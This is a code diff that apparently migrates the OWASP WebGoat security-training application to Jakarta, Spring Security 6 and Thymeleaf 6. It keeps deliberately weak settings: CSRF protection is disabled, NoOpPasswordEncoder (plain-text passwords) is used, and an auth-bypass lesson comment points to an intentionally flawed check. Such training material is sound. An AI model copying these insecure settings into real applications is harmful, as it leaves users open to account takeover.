import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import org.springframework.security.core.AuthenticationException;
|
import org.springframework.security.core.AuthenticationException;
|
||||||
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
|
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
|
||||||
|
|
||||||
|
@ -33,6 +33,7 @@ package org.owasp.webgoat.container;
|
|||||||
import static org.asciidoctor.Asciidoctor.Factory.create;
|
import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||||
|
|
||||||
import io.undertow.util.Headers;
|
import io.undertow.util.Headers;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.io.InputStreamReader;
|
import java.io.InputStreamReader;
|
||||||
@ -41,7 +42,6 @@ import java.util.HashMap;
|
|||||||
import java.util.Locale;
|
import java.util.Locale;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.asciidoctor.Asciidoctor;
|
import org.asciidoctor.Asciidoctor;
|
||||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
@ -60,7 +60,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
|
|||||||
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
|
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
|
||||||
*
|
*
|
||||||
* <p><code>
|
* <p><code>
|
||||||
* <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
|
* <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
|
||||||
* </code>
|
* </code>
|
||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
|
@ -50,12 +50,13 @@ public class DatabaseConfiguration {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
|
public Function<String, Flyway> flywayLessons() {
|
||||||
return schema ->
|
return schema ->
|
||||||
Flyway.configure()
|
Flyway.configure()
|
||||||
.configuration(Map.of("driver", properties.getDriverClassName()))
|
.configuration(Map.of("driver", properties.getDriverClassName()))
|
||||||
.schemas(schema)
|
.schemas(schema)
|
||||||
.dataSource(lessonDataSource)
|
.cleanDisabled(false)
|
||||||
|
.dataSource(dataSource())
|
||||||
.locations("lessons")
|
.locations("lessons")
|
||||||
.load();
|
.load();
|
||||||
}
|
}
|
||||||
|
@ -56,10 +56,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
|||||||
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
|
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
|
||||||
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
|
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
|
||||||
import org.thymeleaf.IEngineConfiguration;
|
import org.thymeleaf.IEngineConfiguration;
|
||||||
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
|
import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
|
||||||
import org.thymeleaf.spring5.SpringTemplateEngine;
|
import org.thymeleaf.spring6.SpringTemplateEngine;
|
||||||
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
|
import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
|
||||||
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
|
import org.thymeleaf.spring6.view.ThymeleafViewResolver;
|
||||||
import org.thymeleaf.templatemode.TemplateMode;
|
import org.thymeleaf.templatemode.TemplateMode;
|
||||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||||
import org.thymeleaf.templateresolver.ITemplateResolver;
|
import org.thymeleaf.templateresolver.ITemplateResolver;
|
||||||
|
@ -37,26 +37,26 @@ import org.springframework.context.annotation.Bean;
|
|||||||
import org.springframework.context.annotation.Configuration;
|
import org.springframework.context.annotation.Configuration;
|
||||||
import org.springframework.security.authentication.AuthenticationManager;
|
import org.springframework.security.authentication.AuthenticationManager;
|
||||||
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
||||||
|
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
|
||||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
|
||||||
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
|
||||||
import org.springframework.security.core.userdetails.UserDetailsService;
|
import org.springframework.security.core.userdetails.UserDetailsService;
|
||||||
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
|
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
|
||||||
|
import org.springframework.security.web.SecurityFilterChain;
|
||||||
|
|
||||||
/** Security configuration for WebGoat. */
|
/** Security configuration for WebGoat. */
|
||||||
@Configuration
|
@Configuration
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@EnableWebSecurity
|
@EnableWebSecurity
|
||||||
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
public class WebSecurityConfig {
|
||||||
|
|
||||||
private final UserService userDetailsService;
|
private final UserService userDetailsService;
|
||||||
|
|
||||||
@Override
|
@Bean
|
||||||
protected void configure(HttpSecurity http) throws Exception {
|
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
|
||||||
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
|
http.authorizeHttpRequests(
|
||||||
http.authorizeRequests()
|
auth ->
|
||||||
.antMatchers(
|
auth.requestMatchers(
|
||||||
"/css/**",
|
"/css/**",
|
||||||
"/images/**",
|
"/images/**",
|
||||||
"/js/**",
|
"/js/**",
|
||||||
@ -67,20 +67,19 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
|||||||
"/actuator/**")
|
"/actuator/**")
|
||||||
.permitAll()
|
.permitAll()
|
||||||
.anyRequest()
|
.anyRequest()
|
||||||
.authenticated();
|
.authenticated());
|
||||||
security
|
http.formLogin()
|
||||||
.and()
|
|
||||||
.formLogin()
|
|
||||||
.loginPage("/login")
|
.loginPage("/login")
|
||||||
.defaultSuccessUrl("/welcome.mvc", true)
|
.defaultSuccessUrl("/welcome.mvc", true)
|
||||||
.usernameParameter("username")
|
.usernameParameter("username")
|
||||||
.passwordParameter("password")
|
.passwordParameter("password")
|
||||||
.permitAll();
|
.permitAll();
|
||||||
security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
|
http.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
|
||||||
security.and().csrf().disable();
|
http.csrf().disable();
|
||||||
|
|
||||||
http.headers().cacheControl().disable();
|
http.headers().cacheControl().disable();
|
||||||
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
|
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
|
||||||
|
return http.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
@ -89,15 +88,14 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
@Override
|
public UserDetailsService userDetailsServiceBean() {
|
||||||
public UserDetailsService userDetailsServiceBean() throws Exception {
|
|
||||||
return userDetailsService;
|
return userDetailsService;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
@Bean
|
@Bean
|
||||||
protected AuthenticationManager authenticationManager() throws Exception {
|
public AuthenticationManager authenticationManager(
|
||||||
return super.authenticationManager();
|
AuthenticationConfiguration authenticationConfiguration) throws Exception {
|
||||||
|
return authenticationConfiguration.getAuthenticationManager();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("deprecation")
|
@SuppressWarnings("deprecation")
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
package org.owasp.webgoat.container.asciidoc;
|
package org.owasp.webgoat.container.asciidoc;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.asciidoctor.ast.ContentNode;
|
import org.asciidoctor.ast.ContentNode;
|
||||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
import org.springframework.web.context.request.RequestContextHolder;
|
import org.springframework.web.context.request.RequestContextHolder;
|
||||||
|
@ -75,7 +75,8 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
|
|||||||
} else {
|
} else {
|
||||||
userTracker.assignmentFailed(webSession.getCurrentLesson());
|
userTracker.assignmentFailed(webSession.getCurrentLesson());
|
||||||
}
|
}
|
||||||
userTrackerRepository.saveAndFlush(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
|
|
||||||
return attackResult;
|
return attackResult;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -31,7 +31,7 @@
|
|||||||
*/
|
*/
|
||||||
package org.owasp.webgoat.container.controller;
|
package org.owasp.webgoat.container.controller;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import org.owasp.webgoat.container.session.Course;
|
import org.owasp.webgoat.container.session.Course;
|
||||||
import org.owasp.webgoat.container.session.WebSession;
|
import org.owasp.webgoat.container.session.WebSession;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
@ -29,8 +29,8 @@
|
|||||||
*/
|
*/
|
||||||
package org.owasp.webgoat.container.controller;
|
package org.owasp.webgoat.container.controller;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpSession;
|
import jakarta.servlet.http.HttpSession;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
@ -49,7 +49,7 @@ public class Welcome {
|
|||||||
/**
|
/**
|
||||||
* welcome.
|
* welcome.
|
||||||
*
|
*
|
||||||
* @param request a {@link javax.servlet.http.HttpServletRequest} object.
|
* @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
|
||||||
* @return a {@link org.springframework.web.servlet.ModelAndView} object.
|
* @return a {@link org.springframework.web.servlet.ModelAndView} object.
|
||||||
*/
|
*/
|
||||||
@GetMapping(path = {"welcome.mvc"})
|
@GetMapping(path = {"welcome.mvc"})
|
||||||
|
@ -1,9 +1,14 @@
|
|||||||
package org.owasp.webgoat.container.lessons;
|
package org.owasp.webgoat.container.lessons;
|
||||||
|
|
||||||
|
import jakarta.persistence.Entity;
|
||||||
|
import jakarta.persistence.GeneratedValue;
|
||||||
|
import jakarta.persistence.GenerationType;
|
||||||
|
import jakarta.persistence.Id;
|
||||||
|
import jakarta.persistence.Transient;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import javax.persistence.*;
|
import lombok.EqualsAndHashCode;
|
||||||
import lombok.*;
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ************************************************************************************************
|
* ************************************************************************************************
|
||||||
@ -41,7 +46,7 @@ import lombok.*;
|
|||||||
public class Assignment {
|
public class Assignment {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
@GeneratedValue(strategy = GenerationType.AUTO)
|
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||||
private Long id;
|
private Long id;
|
||||||
|
|
||||||
private String name;
|
private String name;
|
||||||
|
@ -4,15 +4,13 @@ import java.lang.reflect.InvocationHandler;
|
|||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.owasp.webgoat.container.users.WebGoatUser;
|
import org.owasp.webgoat.container.users.WebGoatUser;
|
||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handler which sets the correct schema for the currently bounded user. This way users are not
|
* Handler which sets the correct schema for the currently bounded user. This way users are not
|
||||||
* seeing each other data and we can reset data for just one particular user.
|
* seeing each other data, and we can reset data for just one particular user.
|
||||||
*/
|
*/
|
||||||
@Slf4j
|
|
||||||
public class LessonConnectionInvocationHandler implements InvocationHandler {
|
public class LessonConnectionInvocationHandler implements InvocationHandler {
|
||||||
|
|
||||||
private final Connection targetConnection;
|
private final Connection targetConnection;
|
||||||
|
@ -1,8 +1,20 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
import java.util.*;
|
import jakarta.persistence.CascadeType;
|
||||||
|
import jakarta.persistence.Entity;
|
||||||
|
import jakarta.persistence.FetchType;
|
||||||
|
import jakarta.persistence.GeneratedValue;
|
||||||
|
import jakarta.persistence.GenerationType;
|
||||||
|
import jakarta.persistence.Id;
|
||||||
|
import jakarta.persistence.OneToMany;
|
||||||
|
import jakarta.persistence.Version;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Optional;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
import javax.persistence.*;
|
import lombok.EqualsAndHashCode;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.container.lessons.Assignment;
|
import org.owasp.webgoat.container.lessons.Assignment;
|
||||||
import org.owasp.webgoat.container.lessons.Lesson;
|
import org.owasp.webgoat.container.lessons.Lesson;
|
||||||
@ -39,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
|
|||||||
* @since October 29, 2003
|
* @since October 29, 2003
|
||||||
*/
|
*/
|
||||||
@Entity
|
@Entity
|
||||||
|
@EqualsAndHashCode
|
||||||
public class LessonTracker {
|
public class LessonTracker {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
@GeneratedValue(strategy = GenerationType.AUTO)
|
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||||
private Long id;
|
private Long id;
|
||||||
|
|
||||||
@Getter private String lessonName;
|
@Getter private String lessonName;
|
||||||
|
@ -1,11 +1,10 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import jakarta.servlet.ServletException;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import javax.validation.Valid;
|
import jakarta.validation.Valid;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.security.authentication.AuthenticationManager;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.validation.BindingResult;
|
import org.springframework.validation.BindingResult;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@ -23,7 +22,6 @@ public class RegistrationController {
|
|||||||
|
|
||||||
private UserValidator userValidator;
|
private UserValidator userValidator;
|
||||||
private UserService userService;
|
private UserService userService;
|
||||||
private AuthenticationManager authenticationManager;
|
|
||||||
|
|
||||||
@GetMapping("/registration")
|
@GetMapping("/registration")
|
||||||
public String showForm(UserForm userForm) {
|
public String showForm(UserForm userForm) {
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||||
@ -35,19 +35,15 @@ public class Scoreboard {
|
|||||||
|
|
||||||
@GetMapping("/scoreboard-data")
|
@GetMapping("/scoreboard-data")
|
||||||
public List<Ranking> getRankings() {
|
public List<Ranking> getRankings() {
|
||||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
return userRepository.findAll().stream()
|
||||||
List<Ranking> rankings = new ArrayList<>();
|
.filter(user -> !user.getUsername().startsWith("csrf-"))
|
||||||
for (WebGoatUser user : allUsers) {
|
.map(
|
||||||
if (user.getUsername().startsWith("csrf-")) {
|
user ->
|
||||||
// the csrf- assignment specific users do not need to be in the overview
|
new Ranking(
|
||||||
continue;
|
user.getUsername(),
|
||||||
}
|
challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
.sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
|
||||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
.collect(Collectors.toList());
|
||||||
}
|
|
||||||
/* sort on number of captured flags to present an ordered ranking */
|
|
||||||
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
|
|
||||||
return rankings;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<String> challengesSolved(UserTracker userTracker) {
|
private List<String> challengesSolved(UserTracker userTracker) {
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
import javax.validation.constraints.NotNull;
|
import jakarta.validation.constraints.NotNull;
|
||||||
import javax.validation.constraints.Pattern;
|
import jakarta.validation.constraints.Pattern;
|
||||||
import javax.validation.constraints.Size;
|
import jakarta.validation.constraints.Size;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.Setter;
|
import lombok.Setter;
|
||||||
|
|
||||||
|
@ -1,11 +1,19 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
|
import jakarta.persistence.CascadeType;
|
||||||
|
import jakarta.persistence.Column;
|
||||||
|
import jakarta.persistence.Entity;
|
||||||
|
import jakarta.persistence.FetchType;
|
||||||
|
import jakarta.persistence.GeneratedValue;
|
||||||
|
import jakarta.persistence.GenerationType;
|
||||||
|
import jakarta.persistence.Id;
|
||||||
|
import jakarta.persistence.OneToMany;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
import javax.persistence.*;
|
import lombok.EqualsAndHashCode;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.container.lessons.Assignment;
|
import org.owasp.webgoat.container.lessons.Assignment;
|
||||||
import org.owasp.webgoat.container.lessons.Lesson;
|
import org.owasp.webgoat.container.lessons.Lesson;
|
||||||
@ -43,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
|
|||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
@Entity
|
@Entity
|
||||||
|
@EqualsAndHashCode
|
||||||
public class UserTracker {
|
public class UserTracker {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
@GeneratedValue(strategy = GenerationType.AUTO)
|
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||||
private Long id;
|
private Long id;
|
||||||
|
|
||||||
@Column(name = "username")
|
@Column(name = "username")
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
|
import jakarta.persistence.Entity;
|
||||||
|
import jakarta.persistence.Id;
|
||||||
|
import jakarta.persistence.Transient;
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import javax.persistence.Entity;
|
|
||||||
import javax.persistence.Id;
|
|
||||||
import javax.persistence.Transient;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.springframework.security.core.GrantedAuthority;
|
import org.springframework.security.core.GrantedAuthority;
|
||||||
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
||||||
|
@ -42,6 +42,7 @@ public class AccountVerificationHelper {
|
|||||||
static {
|
static {
|
||||||
secQuestionStore.put(verifyUserId, userSecQuestions);
|
secQuestionStore.put(verifyUserId, userSecQuestions);
|
||||||
}
|
}
|
||||||
|
|
||||||
// end 'data store set up'
|
// end 'data store set up'
|
||||||
|
|
||||||
// this is to aid feedback in the attack process and is not intended to be part of the
|
// this is to aid feedback in the attack process and is not intended to be part of the
|
||||||
@ -68,6 +69,7 @@ public class AccountVerificationHelper {
|
|||||||
|
|
||||||
return likely;
|
return likely;
|
||||||
}
|
}
|
||||||
|
|
||||||
// end of cheating check ... the method below is the one of real interest. Can you find the flaw?
|
// end of cheating check ... the method below is the one of real interest. Can you find the flaw?
|
||||||
|
|
||||||
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
|
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
|
||||||
|
@ -22,13 +22,13 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.authbypass;
|
package org.owasp.webgoat.lessons.authbypass;
|
||||||
|
|
||||||
|
import jakarta.servlet.ServletException;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.servlet.ServletException;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
@ -1,89 +1,13 @@
|
|||||||
/*
|
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
|
||||||
*
|
|
||||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
|
||||||
*
|
|
||||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
|
||||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
|
||||||
* License, or (at your option) any later version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
|
||||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
* General Public License for more details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License along with this program; if
|
|
||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
|
||||||
* 02111-1307, USA.
|
|
||||||
*
|
|
||||||
* Getting Source ==============
|
|
||||||
*
|
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
|
||||||
*/
|
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons.challenges;
|
package org.owasp.webgoat.lessons.challenges;
|
||||||
|
|
||||||
import java.util.HashMap;
|
public record Flag(int number, String answer) {
|
||||||
import java.util.Map;
|
|
||||||
import java.util.UUID;
|
|
||||||
import java.util.stream.IntStream;
|
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Getter;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
|
||||||
import org.owasp.webgoat.container.session.WebSession;
|
|
||||||
import org.owasp.webgoat.container.users.UserTracker;
|
|
||||||
import org.owasp.webgoat.container.users.UserTrackerRepository;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.http.MediaType;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
/**
|
public boolean isCorrect(String flag) {
|
||||||
* @author nbaars
|
return answer.equals(flag);
|
||||||
* @since 3/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
public class Flag extends AssignmentEndpoint {
|
|
||||||
|
|
||||||
public static final Map<Integer, String> FLAGS = new HashMap<>();
|
|
||||||
@Autowired private UserTrackerRepository userTrackerRepository;
|
|
||||||
@Autowired private WebSession webSession;
|
|
||||||
|
|
||||||
@AllArgsConstructor
|
|
||||||
private class FlagPosted {
|
|
||||||
@Getter private boolean lessonCompleted;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@PostConstruct
|
@Override
|
||||||
public void initFlags() {
|
public String toString() {
|
||||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
return answer;
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping(
|
|
||||||
path = "/challenge/flag",
|
|
||||||
method = RequestMethod.POST,
|
|
||||||
produces = MediaType.APPLICATION_JSON_VALUE)
|
|
||||||
@ResponseBody
|
|
||||||
public AttackResult postFlag(@RequestParam String flag) {
|
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
|
||||||
String currentChallenge = webSession.getCurrentLesson().getName();
|
|
||||||
int challengeNumber =
|
|
||||||
Integer.valueOf(
|
|
||||||
currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length()));
|
|
||||||
String expectedFlag = FLAGS.get(challengeNumber);
|
|
||||||
final AttackResult attackResult;
|
|
||||||
if (expectedFlag.equals(flag)) {
|
|
||||||
userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber);
|
|
||||||
attackResult = success(this).feedback("challenge.flag.correct").build();
|
|
||||||
} else {
|
|
||||||
userTracker.assignmentFailed(webSession.getCurrentLesson());
|
|
||||||
attackResult = failed(this).feedback("challenge.flag.incorrect").build();
|
|
||||||
}
|
|
||||||
userTrackerRepository.save(userTracker);
|
|
||||||
return attackResult;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,52 @@
|
|||||||
|
/*
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||||
|
*
|
||||||
|
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
*
|
||||||
|
* Getting Source ==============
|
||||||
|
*
|
||||||
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package org.owasp.webgoat.lessons.challenges;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
